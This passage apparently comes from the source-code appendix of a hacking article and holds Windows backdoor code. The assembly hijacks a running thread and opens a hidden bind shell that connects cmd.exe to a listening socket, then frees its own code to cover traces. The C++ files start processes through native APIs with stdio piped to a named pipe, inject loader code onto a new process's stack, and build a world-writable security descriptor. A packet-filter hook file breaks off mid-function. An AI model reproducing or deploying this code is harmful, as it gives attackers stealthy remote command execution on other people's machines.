mov ecx,SIZE OBJECT_ATTRIBUTES
xor eax,eax
rep stosb
lea edi,attr
mov[edi].Length,SIZE OBJECT_ATTRIBUTES
push edi
push THREAD_ALL_ACCESS
lea edi,hThread
push edi
IFDEF DEBUG
int 3
ENDIF
call _ZwOpenThread
lea edi, cxt
assume edi:ptr CONTEXT
mov [edi].cx_ContextFlags,CONTEXT_FULL
xor ebx,ebx
mov eax,hThread
;there is a thread handle in EAX
;push at once for call many following functions
push edi ; _SetThreadContext
push eax
;-)
push eax ; _ZwAlertThread
;-)
push edi ; _SetThreadContext
push eax
;-)
push edi ; _GetThreadContext
push eax
call _GetThreadContext
mov eax,[edi].cx_Eip
mov save_eip,eax
laa eax, new_thread
mov [edi].cx_Eip, eax
;Self-modify code
;Save EBP to copy current stack in each new thread
laa eax, ebp_value_here
mov [eax],ebp
laa eax, ebp1_value_here
mov [eax],ebp
;Write addres of flag, that informs of "create main thread" completion
laa eax, flag_addr_here
lea ebx,flag
mov [eax],ebx
mov flag,0
call _SetThreadContext
;If thread in wait state, it will not run until it (wait) ends or alerted
call _ZwAlertThread
;not works if wait is nonalertable
;Wait for main thread creation
check_flag:
call _Sleep,10
cmp flag,1
jnz check_flag
;Restore EIP of interupted thread
mov eax, save_eip
mov [edi].cx_Eip, eax
call _SetThreadContext
push 0
call _ExitThread
; --- This code executes in interrupted thread and creates main thread ---
new_thread:
IFDEF DEBUG
int 3
ENDIF
ebp1_value_here_2:
mov ebp,0
lab_posle_ebp1_value:
ORG ebp1_value_here_2+1
ebp1_value_here:
ORG lab_posle_ebp1_value-main
xor eax,eax
push eax
push eax
push eax
laa ebx, remote_shell
push ebx
push eax
push eax
call _CreateThread
;call _Sleep,INFINITE
jmp $
remote_shell:
IFDEF DEBUG
int 3
ENDIF
ebp_value_here_2:
mov esi,0
lab_posle_ebp_value:
ORG ebp_value_here_2+1
ebp_value_here:
ORG lab_posle_ebp_value-main
mov ecx,SizeOfLocals
sub esi,ecx
mov edi,esp
sub edi,ecx
cld
rep movsb
mov ebp,esp
sub esp,SizeOfLocals
flag_addr_here_2:
mov eax,0
lab_posle_flag_addr:
ORG flag_addr_here_2+1
flag_addr_here:
ORG lab_posle_flag_addr-main
mov DWORD PTR [eax],1
;Load WinSock
laa eax,szWSOCK32
call _LoadLibrary,eax
or eax, eax
jz quit
;---- get ImageBase of ws2_32.dll ----
;I'm deviator: load at first, then as if seek :)
lea ebx,WS2_32FunctionsTable
push ebx
laa ebx,WS2_32StringTable
push ebx
push eax
call GetDllBaseAndLoadFunctions
;--- telnet server
lea eax,wsadat
push eax
push 0101h
call _WSAStartup
xor ebx,ebx
;socket does not suit here!
call _WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,ebx,ebx,ebx
mov sock,eax
mov addr.sin_family,AF_INET
mov addr.sin_port,0088h
mov addr.sin_addr,INADDR_ANY
;Look for unused port from 34816 and bind to it
retry_bind:
lea ebx,addr
call _bind,sock,ebx,SIZE sockaddr_in
IFDEF RETRY_BIND
or eax, eax
jz l_listen
lea edx,addr.sin_port+1
inc byte ptr[edx]
cmp byte ptr[edx],0
;All ports busy...
jz quit
jmp retry_bind
ENDIF
l_listen:
call _listen,sock,1
or eax, eax
jnz quit
ShellCycle:
mov sizeofaddr,SIZE sockaddr_in
lea eax,sizeofaddr
push eax
lea eax, addr
push eax
push sock
call _accept
mov sock2, eax
RunCmd:
;int 3
;Zero StartInf
cld
lea edi,StartInf
xor eax,eax
mov ecx,SIZE STARTUPINFO
rep stosb
;Fill StartInf. Shell will be bound to socket
mov StartInf.dwFlags,STARTF_USESTDHANDLES; OR STARTF_USESHOWWINDOW
mov eax, sock2
mov StartInf.hStdOutput,eax
mov StartInf.hStdError,eax
mov StartInf.hStdInput,eax
mov StartInf.cb,SIZE STARTUPINFO
;Start shell
xor ebx,ebx
lea eax,ProcInf
push eax
lea eax,StartInf
push eax
push ebx
push ebx
push CREATE_NO_WINDOW
push 1
push ebx
push ebx
laa eax,CmdLine
push eax
push ebx
call _CreateProcessA
;To avoid hanging sessions
call _closesocket,sock2
IFDEF MULTIPLE_CONNECT
jmp ShellCycle
ENDIF
quit:
call _closesocket,sock
call _WSACleanup
;Sweep traces: free memory with that code and terminate thread
;Code must not free stack because ExitThread address is there
;It may wipe (zero out) stack in future versions
push MEM_RELEASE
xor ebx,ebx
push ebx
push OFFSET Start
push ebx
push _ExitThread
jmp _VirtualFree
main endp
; ------ ROUTINES ------
; returns NULL in the case of an error
GetDllBaseAndLoadFunctions proc uses edi esi, dwSearchStartAddr:DWORD, FuncNamesTable:DWORD, FuncPtrsTable:DWORD
;----------------------------------------------
local SEH:sSEH, FuncNameEnd:DWORD,dwDllBase:DWORD,PEHeader:DWORD
; install SEH frame
laaa eax, KernelSearchSehHandler
push eax
push fs:dword ptr[0]
mov SEH.OrgEsp, esp
laaa eax, ExceptCont
mov SEH.SaveEip, eax
mov fs:dword ptr[0], esp
; start the search
mov edi, dwSearchStartAddr
.while TRUE
.if word ptr [edi] == IMAGE_DOS_SIGNATURE
mov esi, edi
add esi, [esi+03Ch]
.if dword ptr [esi] == IMAGE_NT_SIGNATURE
.break
.endif
.endif
ExceptCont:
sub edi, 010000h
.endw
mov dwDllBase,edi
mov PEHeader,esi
LoadFunctions:
; get the string length of the target Api
mov edi, FuncNamesTable
mov ecx, MAX_API_STRING_LENGTH
xor al, al
repnz scasb
mov FuncNameEnd,edi
mov ecx, edi
sub ecx, FuncNamesTable ; ECX -> Api string length
; trace the export table
mov edx, [esi+078h] ; EDX -> Export table
add edx, dwDllBase
assume edx:ptr IMAGE_EXPORT_DIRECTORY
mov ebx, [edx].AddressOfNames ; EBX -> AddressOfNames array pointer
add ebx, dwDllBase
xor eax, eax ; eax AddressOfNames Index
.repeat
mov edi, [ebx]
add edi, dwDllBase
mov esi, FuncNamesTable
push ecx ; save the api string length
repz cmpsb
.if zero?
add esp, 4
.break
.endif
pop ecx
add ebx, 4
inc eax
.until eax == [edx].NumberOfNames
; did we found sth ?
.if eax == [edx].NumberOfNames
jmp ExceptContinue
.endif
; find the corresponding Ordinal
mov esi, [edx].AddressOfNameOrdinals
add esi, dwDllBase
shl eax, 1
add eax, esi
movzx eax,word ptr [eax]
; get the address of the api
mov edi, [edx].AddressOfFunctions
shl eax, 2
add eax, dwDllBase
add eax, edi
mov eax, [eax]
add eax, dwDllBase
mov ecx,FuncNameEnd
mov FuncNamesTable,ecx
mov ebx,FuncPtrsTable
mov DWORD PTR [ebx],eax
mov esi,PEHeader
cmp BYTE PTR [ecx],0
jnz LoadFunctions
Quit:
; shutdown seh frame
pop fs:dword ptr[0]
add esp, 4
ret
ExceptContinue:
mov edi, dwDllBase
jmp ExceptCont
GetDllBaseAndLoadFunctions endp
KernelSearchSehHandler PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
mov eax, pContext
assume eax:ptr CONTEXT
sub dword ptr [eax].cx_Edi,010000h
mov eax, 0 ;ExceptionContinueExecution
ret
KernelSearchSehHandler ENDP
KERNEL32StringTable:
szCreateThread db "CreateThread",0
szGetThreadContext db "GetThreadContext",0
szSetThreadContext db "SetThreadContext",0
szExitThread db "ExitThread",0
szLoadLibrary db "LoadLibraryA",0
szCreateProcessA db "CreateProcessA",0
szSleep db "Sleep",0
szVirtualFree db "VirtualFree",0
db 0
szWSOCK32 db "WS2_32.DLL",0
WS2_32StringTable:
szsocket db "WSASocketA",0
szbind db "bind",0
szlisten db "listen",0
szaccept db "accept",0
szWSAStartup db "WSAStartup",0
szclosesocket db "closesocket",0
szWSACleanup db "WSACleanup",0
db 0
NTDLLStringTable:
szZwOpenThread db "ZwOpenThread",0
szZwAlertThread db "ZwAlertThread",0
db 0
CmdLine db "cmd.exe",0
ALIGN 4
CLID_here CLIENT_ID <0>
;----------------------------------------------
EndFile:
end Start
----[ 8.4 - NebbetCreateProcess.cpp
#include <ntdll.h>
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
extern "C" {
#include "SECSYS.H"
}
namespace NT {
typedef struct _CSRSS_MESSAGE{
ULONG Unknwon1;
ULONG Opcode;
ULONG Status;
ULONG Unknwon2;
}CSRSS_MESSAGE,*PCSRSS_MESSAGE;
}
DYNAMIC_LOAD1(CsrClientCallServer)
DYNAMIC_LOAD1(RtlDestroyProcessParameters)
DYNAMIC_LOAD1(ZwWriteVirtualMemory)
DYNAMIC_LOAD1(ZwResumeThread)
DYNAMIC_LOAD1(ZwCreateThread)
DYNAMIC_LOAD1(ZwProtectVirtualMemory)
DYNAMIC_LOAD1(ZwCreateProcess)
DYNAMIC_LOAD1(ZwRequestWaitReplyPort)
DYNAMIC_LOAD1(ZwReadVirtualMemory)
DYNAMIC_LOAD1(ZwCreateNamedPipeFile)
DYNAMIC_LOAD1(LdrGetDllHandle)
//Dynamic import of functions exported from ntdll.dll
extern "C" void LoadFuncs()
{
static PVOID pNTDLL;
if (!pNTDLL)
{
pNTDLL=FindNT();
DYNAMIC_LOAD2(CsrClientCallServer)
DYNAMIC_LOAD2(RtlDestroyProcessParameters)
DYNAMIC_LOAD2(ZwWriteVirtualMemory)
DYNAMIC_LOAD2(ZwResumeThread)
DYNAMIC_LOAD2(ZwCreateThread)
DYNAMIC_LOAD2(ZwProtectVirtualMemory)
DYNAMIC_LOAD2(ZwCreateProcess)
DYNAMIC_LOAD2(ZwRequestWaitReplyPort)
DYNAMIC_LOAD2(ZwReadVirtualMemory)
DYNAMIC_LOAD2(ZwCreateNamedPipeFile)
DYNAMIC_LOAD2(LdrGetDllHandle)
}
}
//Informs CSRSS about new win32-process
VOID InformCsrss(HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid)
{
// _asm int 3;
struct CSRSS_MESSAGE {
ULONG Unknown1;
ULONG Opcode;
ULONG Status;
ULONG Unknown2;
};
struct {
NT::PORT_MESSAGE PortMessage;
CSRSS_MESSAGE CsrssMessage;
PROCESS_INFORMATION ProcessInformation;
NT::CLIENT_ID Debugger;
ULONG CreationFlags;
ULONG VdmInfo[2];
} csrmsg = {{0}, {0}, {hProcess, hThread, pid, tid}, {0}, 0/*STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW*/, {0}};
CsrClientCallServer(&csrmsg, 0, 0x10000, 0x24);
}
//Initialse empty environment
PWSTR InitEnvironment(HANDLE hProcess)
{
PVOID p=0;
DWORD dummy=0;
DWORD n=sizeof(dummy);
DWORD m;
m=n;
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &m,
MEM_COMMIT, PAGE_READWRITE);
ZwWriteVirtualMemory(hProcess, p, &dummy, n, 0);
return PWSTR(p);
}
// Clone of Ntdll::RtlCreateProcessParameters...
VOID RtlCreateProcessParameters(NT::PPROCESS_PARAMETERS* pp,
NT::PUNICODE_STRING ImageFile,
NT::PUNICODE_STRING DllPath,
NT::PUNICODE_STRING CurrentDirectory,
NT::PUNICODE_STRING CommandLine,
ULONG CreationFlag,
NT::PUNICODE_STRING WindowTitle,
NT::PUNICODE_STRING Desktop,
NT::PUNICODE_STRING Reserved,
NT::PUNICODE_STRING Reserved2){
NT::PROCESS_PARAMETERS* lpp;
ULONG Size=sizeof(NT::PROCESS_PARAMETERS);
if(ImageFile) Size+=ImageFile->MaximumLength;
if(DllPath) Size+=DllPath->MaximumLength;
if(CurrentDirectory) Size+=CurrentDirectory->MaximumLength;
if(CommandLine) Size+=CommandLine->MaximumLength;
if(WindowTitle) Size+=WindowTitle->MaximumLength;
if(Desktop) Size+=Desktop->MaximumLength;
if(Reserved) Size+=Reserved->MaximumLength;
if(Reserved2) Size+=Reserved2->MaximumLength;
//Allocate the buffer..
*pp=(NT::PPROCESS_PARAMETERS)NT::ExAllocatePool(NT::NonPagedPool,Size);
lpp=*pp;
RtlZeroMemory(lpp,Size);
lpp->AllocationSize=PAGE_SIZE;
lpp->Size=sizeof(NT::PROCESS_PARAMETERS); // Unicode size will be added (if any)
lpp->hStdInput=0;
lpp->hStdOutput=0;
lpp->hStdError=0;
if(CurrentDirectory){
lpp->CurrentDirectoryName.Length=CurrentDirectory->Length;
lpp->CurrentDirectoryName.MaximumLength=CurrentDirectory->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CurrentDirectory->Buffer,CurrentDirectory->Length);
lpp->CurrentDirectoryName.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=CurrentDirectory->MaximumLength;
}
if(DllPath){
lpp->DllPath.Length=DllPath->Length;
lpp->DllPath.MaximumLength=DllPath->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,DllPath->Buffer,DllPath->Length);
lpp->DllPath.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=DllPath->MaximumLength;
}
if(ImageFile){
lpp->ImageFile.Length=ImageFile->Length;
lpp->ImageFile.MaximumLength=ImageFile->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,ImageFile->Buffer,ImageFile->Length);
lpp->ImageFile.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=ImageFile->MaximumLength;
}
if(CommandLine){
lpp->CommandLine.Length=CommandLine->Length;
lpp->CommandLine.MaximumLength=CommandLine->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CommandLine->Buffer,CommandLine->Length);
lpp->CommandLine.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=CommandLine->MaximumLength;
}
if(WindowTitle){
lpp->WindowTitle.Length=WindowTitle->Length;
lpp->WindowTitle.MaximumLength=WindowTitle->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,WindowTitle->Buffer,WindowTitle->Length);
lpp->WindowTitle.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=WindowTitle->MaximumLength;
}
if(Desktop){
lpp->Desktop.Length=Desktop->Length;
lpp->Desktop.MaximumLength=Desktop->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Desktop->Buffer,Desktop->Length);
lpp->Desktop.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Desktop->MaximumLength;
}
if(Reserved){
lpp->Reserved2.Length=Reserved->Length;
lpp->Reserved2.MaximumLength=Reserved->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved->Buffer,Reserved->Length);
lpp->Reserved2.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Reserved->MaximumLength;
}
/* if(Reserved2){
lpp->Reserved3.Length=Reserved2->Length;
lpp->Reserved3.MaximumLength=Reserved2->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved2->Buffer,Reserved2->Length);
lpp->Reserved3.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Reserved2->MaximumLength;
}*/
}
VOID CreateProcessParameters(HANDLE hProcess, NT::PPEB Peb,
NT::PUNICODE_STRING ImageFile, HANDLE hPipe)
{
NT::PPROCESS_PARAMETERS pp;
NT::UNICODE_STRING CurrentDirectory;
NT::UNICODE_STRING DllPath;
NT::RtlInitUnicodeString(&CurrentDirectory,L"C:\\WINNT\\SYSTEM32\\");
NT::RtlInitUnicodeString(&DllPath,L"C:\\;C:\\WINNT\\;C:\\WINNT\\SYSTEM32\\");
RtlCreateProcessParameters(&pp, ImageFile, &DllPath,&CurrentDirectory, ImageFile, 0, 0, 0, 0, 0);
pp->hStdInput=hPipe;
pp->hStdOutput=hPipe;//hStdOutPipe;
pp->hStdError=hPipe;//hStdOutPipe;
pp->dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
pp->wShowWindow=SW_HIDE;//CREATE_NO_WINDOW;
pp->Environment = InitEnvironment(hProcess);
ULONG n = pp->Size;
PVOID p = 0;
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_READWRITE);
ZwWriteVirtualMemory(hProcess, p, pp, pp->Size, 0);
ZwWriteVirtualMemory(hProcess, PCHAR(Peb) + 0x10, &p, sizeof p, 0);
RtlDestroyProcessParameters(pp);
}
namespace NT {
extern "C" {
DWORD WINAPI RtlCreateAcl(PACL acl,DWORD size,DWORD rev);
BOOL WINAPI RtlAddAccessAllowedAce(PACL,DWORD,DWORD,PSID);
}}
NTSTATUS BuildAlowingSD(PSECURITY_DESCRIPTOR *pSecurityDescriptor)
{
//_asm int 3;
SID SeWorldSid={SID_REVISION, 1, SECURITY_WORLD_SID_AUTHORITY, SECURITY_WORLD_RID};
SID localSid={SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID};
char daclbuf[PAGE_SIZE];
NT::PACL dacl = (NT::PACL)&daclbuf;
char sdbuf[PAGE_SIZE];
NT::PSECURITY_DESCRIPTOR sd = &sdbuf;
NTSTATUS status = NT::RtlCreateAcl(dacl, PAGE_SIZE, ACL_REVISION);
if (!NT_SUCCESS(status)) return status;
status = NT::RtlAddAccessAllowedAce(dacl, ACL_REVISION, FILE_ALL_ACCESS, &SeWorldSid);
if (!NT_SUCCESS(status)) return status;
RtlZeroMemory(sd, PAGE_SIZE);
status = NT::RtlCreateSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION);
if (!NT_SUCCESS(status)) return status;
status = RtlSetOwnerSecurityDescriptor(sd, &localSid, FALSE);
if (!NT_SUCCESS(status)) return status;
status = NT::RtlSetDaclSecurityDescriptor(sd, TRUE, dacl, FALSE);
if (!NT_SUCCESS(status)) return status;
if (!NT::RtlValidSecurityDescriptor(sd)) {
_asm int 3;
}
//To try!
ULONG buflen = PAGE_SIZE*2;
*pSecurityDescriptor = NT::ExAllocatePool(NT::PagedPool, buflen);
if (!*pSecurityDescriptor) return STATUS_INSUFFICIENT_RESOURCES;
return RtlAbsoluteToSelfRelativeSD(sd, *pSecurityDescriptor, &buflen);
}
#define PIPE_NAME_MAX 40*2
extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess)
{
NT::IO_STATUS_BLOCK iosb;
NT::OBJECT_ATTRIBUTES attr = {sizeof attr, 0, PipeName, OBJ_INHERIT, sd};
NT::LARGE_INTEGER nTimeOut;
nTimeOut.QuadPart = (__int64)-1E7;
return ZwCreateNamedPipeFile(phPipe, DesiredAccess | SYNCHRONIZE | FILE_ATTRIBUTE_TEMPORARY, &attr, &iosb, ShareAccess,
FILE_CREATE, 0, FALSE, FALSE, FALSE, 1, 0x1000, 0x1000, &nTimeOut);
}
int exec_piped(NT::PUNICODE_STRING name, NT::PUNICODE_STRING PipeName)
{
HANDLE hProcess, hThread, hSection, hFile;
//_asm int 3;
NT::OBJECT_ATTRIBUTES oa = {sizeof oa, 0, name, OBJ_CASE_INSENSITIVE};
NT::IO_STATUS_BLOCK iosb;
NT::ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb,
FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
oa.ObjectName = 0;
NT::ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,
PAGE_EXECUTE, SEC_IMAGE, hFile);
NT::ZwClose(hFile);
ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa,
NtCurrentProcess(), TRUE, hSection, 0, 0);
NT::SECTION_IMAGE_INFORMATION sii;
NT::ZwQuerySection(hSection, NT::SectionImageInformation,
&sii, sizeof sii, 0);
NT::ZwClose(hSection);
NT::USER_STACK stack = {0};
ULONG n = sii.StackReserve;
NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
MEM_RESERVE, PAGE_READWRITE);
stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)
+ sii.StackReserve;
stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
- sii.StackCommit;
/* PAGE_EXECUTE_READWRITE is needed if initialisation code will be executed on stack*/
n = sii.StackCommit + PAGE_SIZE;
PVOID p = PCHAR(stack.ExpandableStackBase) - n;
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
ULONG x; n = PAGE_SIZE;
ZwProtectVirtualMemory(hProcess, &p, &n,
PAGE_READWRITE | PAGE_GUARD, &x);
NT::CONTEXT context = {CONTEXT_FULL};
context.SegGs = 0;
context.SegFs = 0x38;
context.SegEs = 0x20;
context.SegDs = 0x20;
context.SegSs = 0x20;
context.SegCs = 0x18;
context.EFlags = 0x3000;
context.Esp = ULONG(stack.ExpandableStackBase) - 4;
context.Eip = ULONG(sii.EntryPoint);
NT::CLIENT_ID cid;
ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &oa,
hProcess, &cid, &context, &stack, TRUE);
NT::PROCESS_BASIC_INFORMATION pbi;
NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation,
&pbi, sizeof pbi, 0);
HANDLE hPipe,hPipe1;
oa.ObjectName = PipeName;
oa.Attributes = OBJ_INHERIT;
if(NT::ZwOpenFile(&hPipe1, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE)) return 0;
NT::ZwDuplicateObject(NtCurrentProcess(), hPipe1, hProcess, &hPipe,
0, 0, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
CreateProcessParameters(hProcess, pbi.PebBaseAddress, name, hPipe);
InformCsrss(hProcess, hThread,
ULONG(cid.UniqueProcess), ULONG(cid.UniqueThread));
ZwResumeThread(hThread, 0);
NT::ZwClose(hProcess);
NT::ZwClose(hThread);
return int(cid.UniqueProcess);
}
int execute_piped(VOID *ImageFileName, NT::PUNICODE_STRING PipeName)
{
NT::UNICODE_STRING ImageFile;
NT::RtlInitUnicodeString(&ImageFile, (wchar_t *)ImageFileName);
return exec_piped(&ImageFile, PipeName);
}
----[ 8.5 - NebbetCreateProcess.diff
268a269,384
> typedef
> WINBASEAPI
> BOOL
> (WINAPI
> *f_SetStdHandle)(
> IN DWORD nStdHandle,
> IN HANDLE hHandle
> );
> typedef
> WINBASEAPI
> HANDLE
> (WINAPI
> *f_CreateFileW)(
> IN LPCWSTR lpFileName,
> IN DWORD dwDesiredAccess,
> IN DWORD dwShareMode,
> IN LPSECURITY_ATTRIBUTES lpSecurityAttributes,
> IN DWORD dwCreationDisposition,
> IN DWORD dwFlagsAndAttributes,
> IN HANDLE hTemplateFile
> );
> #ifdef _DEBUG
> typedef
> WINBASEAPI
> DWORD
> (WINAPI
> *f_GetLastError)(
> VOID
> );
> #endif
> typedef VOID (*f_EntryPoint)(VOID);
>
> struct s_data2embed
> {
> wchar_t PipeName[PIPE_NAME_MAX];
> //wchar_t RPipeName[PIPE_NAME_MAX], WPipeName[PIPE_NAME_MAX];
> f_SetStdHandle pSetStdHandle;
> f_CreateFileW pCreateFileW;
> f_EntryPoint EntryPoint;
> #ifdef _DEBUG
> f_GetLastError pGetLastError;
> #endif
> };
>
> //void before_code2embed(){};
> void code2embed(s_data2embed *embedded_data)
> {
> HANDLE hPipe;
>
> __asm int 3;
> hPipe = embedded_data->pCreateFileW(embedded_data->PipeName,
> GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,
> 0/*FILE_SHARE_READ | FILE_SHARE_WRITE*/,
> NULL,
> OPEN_EXISTING,
> 0/*FILE_ATTRIBUTE_NORMAL*/,
> NULL);
> embedded_data->pGetLastError();
> /*//if (hRPipe==INVALID_HANDLE_VALUE) goto cont;
> hWPipe = embedded_data->pCreateFileW(embedded_data->WPipeName,
> GENERIC_WRITE | SYNCHRONIZE,
> FILE_SHARE_READ /*| FILE_SHARE_WRITE*,
> NULL,
> OPEN_EXISTING,
> 0,
> NULL);
> embedded_data->pGetLastError();
> if ((hRPipe!=INVALID_HANDLE_VALUE)&&(hWPipe!=INVALID_HANDLE_VALUE)) */
> if (hPipe!=INVALID_HANDLE_VALUE)
> {
> embedded_data->pSetStdHandle(STD_INPUT_HANDLE, hPipe);
> embedded_data->pSetStdHandle(STD_OUTPUT_HANDLE, hPipe);
> embedded_data->pSetStdHandle(STD_ERROR_HANDLE, hPipe);
> }
> embedded_data->EntryPoint();
> }
> __declspec(naked) void after_code2embed(){};
> #define sizeof_code2embed ((ULONG)&after_code2embed-(ULONG)&code2embed)
>
> void redir2pipe(HANDLE hProcess, wchar_t *PipeName/*, wchar_t *WPipeName*/, PVOID EntryPoint, PVOID pStack, /*OUT PULONG pData,*/ OUT PULONG pCode, OUT PULONG pNewStack)
> {
> s_data2embed data2embed;
> PVOID pKERNEL32;
> NT::UNICODE_STRING ModuleFileName;
>
> _asm int 3;
>
> *pCode = 0;
> *pNewStack = 0;
> NT::RtlInitUnicodeString(&ModuleFileName, L"kernel32.dll");
> LdrGetDllHandle(NULL, NULL, &ModuleFileName, &pKERNEL32);
> if (!pKERNEL32) return;
> data2embed.pSetStdHandle=(f_SetStdHandle)FindFunc(pKERNEL32, "SetStdHandle");
> data2embed.pCreateFileW=(f_CreateFileW)FindFunc(pKERNEL32, "CreateFileW");
> #ifdef _DEBUG
> data2embed.pGetLastError=(f_GetLastError)FindFunc(pKERNEL32, "GetLastError");
> #endif
> if ((!data2embed.pSetStdHandle)||(!data2embed.pCreateFileW)) return;
> data2embed.EntryPoint=(f_EntryPoint)EntryPoint;
> wcscpy(data2embed.PipeName, PipeName);
> //wcscpy(data2embed.WPipeName, WPipeName);
> char* p = (char*)pStack - sizeof_code2embed;
> if (ZwWriteVirtualMemory(hProcess, p, &code2embed, sizeof_code2embed, 0)) return;
> *pCode = (ULONG)p;
>
> p -= sizeof s_data2embed;
> if (ZwWriteVirtualMemory(hProcess, p, &data2embed, sizeof s_data2embed, 0)) return;
>
> PVOID pData = (PVOID)p;
> p -= sizeof pData;
> if (ZwWriteVirtualMemory(hProcess, p, &pData, sizeof pData, 0)) return;
>
> p -= 4;
> *pNewStack = (ULONG)p;
> }
>
317a434,437
> ULONG newEIP, NewStack;
> redir2pipe(hProcess, PipeName->Buffer, sii.EntryPoint, stack.ExpandableStackBase, &newEIP, &NewStack);
> if ((!NewStack)||(!newEIP)) return 0;
>
326,327c446,449
< context.Esp = ULONG(stack.ExpandableStackBase) - 4;
< context.Eip = ULONG(sii.EntryPoint);
---
> //loader code is on the stack
> context.Esp = NewStack;
> context.Eip = newEIP;
----[ 8.6 - NtdllDynamicLoader.cpp
#include <ntdll.h>
//#include "UndocKernel.h"
#include "DynLoadFromNtdll.h"
//Example A.2 from Nebbet's book
//Search loaded module by name
PVOID FindModule(char *module)
{
ULONG n;
//Request necessary size of buffer
NT::ZwQuerySystemInformation(NT::SystemModuleInformation,
&n, 0, &n);
//Allocate memory for n structures
PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
//Request information about modules
NT::ZwQuerySystemInformation(NT::SystemModuleInformation,
q, n * sizeof *q, 0);
//Module counter located at address q, information begins at q+1
NT::PSYSTEM_MODULE_INFORMATION p
= NT::PSYSTEM_MODULE_INFORMATION(q + 1);
PVOID ntdll = 0;
//Cycle for each module ...
for (ULONG i = 0; i < *q; i++)
{
//...compare it's name with looked for...
if (_stricmp(p[i].ImageName + p[i].ModuleNameOffset,
module) == 0)
{
//...and stop if module found
ntdll = p[i].Base;
break;
}
}
//Free memory
NT::ExFreePool(q);
return ntdll;
}
PVOID FindNT()
{
return FindModule("ntdll.dll");
}
//Search exported function named Name in module, loaded at addrress Base
PVOID FindFunc(PVOID Base, PCSTR Name)
{
//At addrress Base there is DOS EXE header
PIMAGE_DOS_HEADER dos = PIMAGE_DOS_HEADER(Base);
//Extract offset of PE-header from it
PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(PCHAR(Base) + dos->e_lfanew);
//Evaluate pointer to section table,
//according to directory of exported functions
PIMAGE_DATA_DIRECTORY expdir
= nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
//Extract address and size of that table
ULONG size = expdir->Size;
ULONG addr = expdir->VirtualAddress;
//Evaluate pointers:
// - to directory of exported functions
PIMAGE_EXPORT_DIRECTORY exports
= PIMAGE_EXPORT_DIRECTORY(PCHAR(Base) + addr);
// - to table of addresses
PULONG functions = PULONG(PCHAR(Base) + exports->AddressOfFunctions);
// - to table of ordinals
PSHORT ordinals = PSHORT(PCHAR(Base) + exports->AddressOfNameOrdinals);
// - to table of names
PULONG names = PULONG(PCHAR(Base) + exports->AddressOfNames);
//Cycle through table of names ...
for (ULONG i = 0; i < exports->NumberOfNames; i++) {
//Ordinal that matches name is index in the table of addresses
ULONG ord = ordinals[i];
//Test is the address correct
if (functions[ord] < addr || functions[ord] >= addr + size) {
//If function name matches looked for...
if (strcmp(PSTR(PCHAR(Base) + names[i]), Name) == 0)
//then return it's address
return PCHAR(Base) + functions[ord];
}
}
//Function not found
return 0;
}
----[ 8.7 - Filtering.cpp
extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "filtering.h"
#include "Sniffer.h"
NTSYSAPI
NTSTATUS
NTAPI
ZwLoadDriver(
IN PUNICODE_STRING DriverServiceName
);
}
extern PF_FORWARD_ACTION PacketFilter(
IN IPHeader *PacketHeader,
IN unsigned char *Packet,
IN unsigned int PacketLength,
IN unsigned int RecvInterfaceIndex,
IN unsigned int SendInterfaceIndex,
IN IPAddr RecvLinkNextHop,
IN IPAddr SendLinkNextHop
);
NTSTATUS globalresult;
PDEVICE_OBJECT pDeviceObject;
PFILE_OBJECT pFileObject;
KEVENT Event;
NTSTATUS SutdownFiltering()
{
if ((pDeviceObject)&&(pFileObject))
{
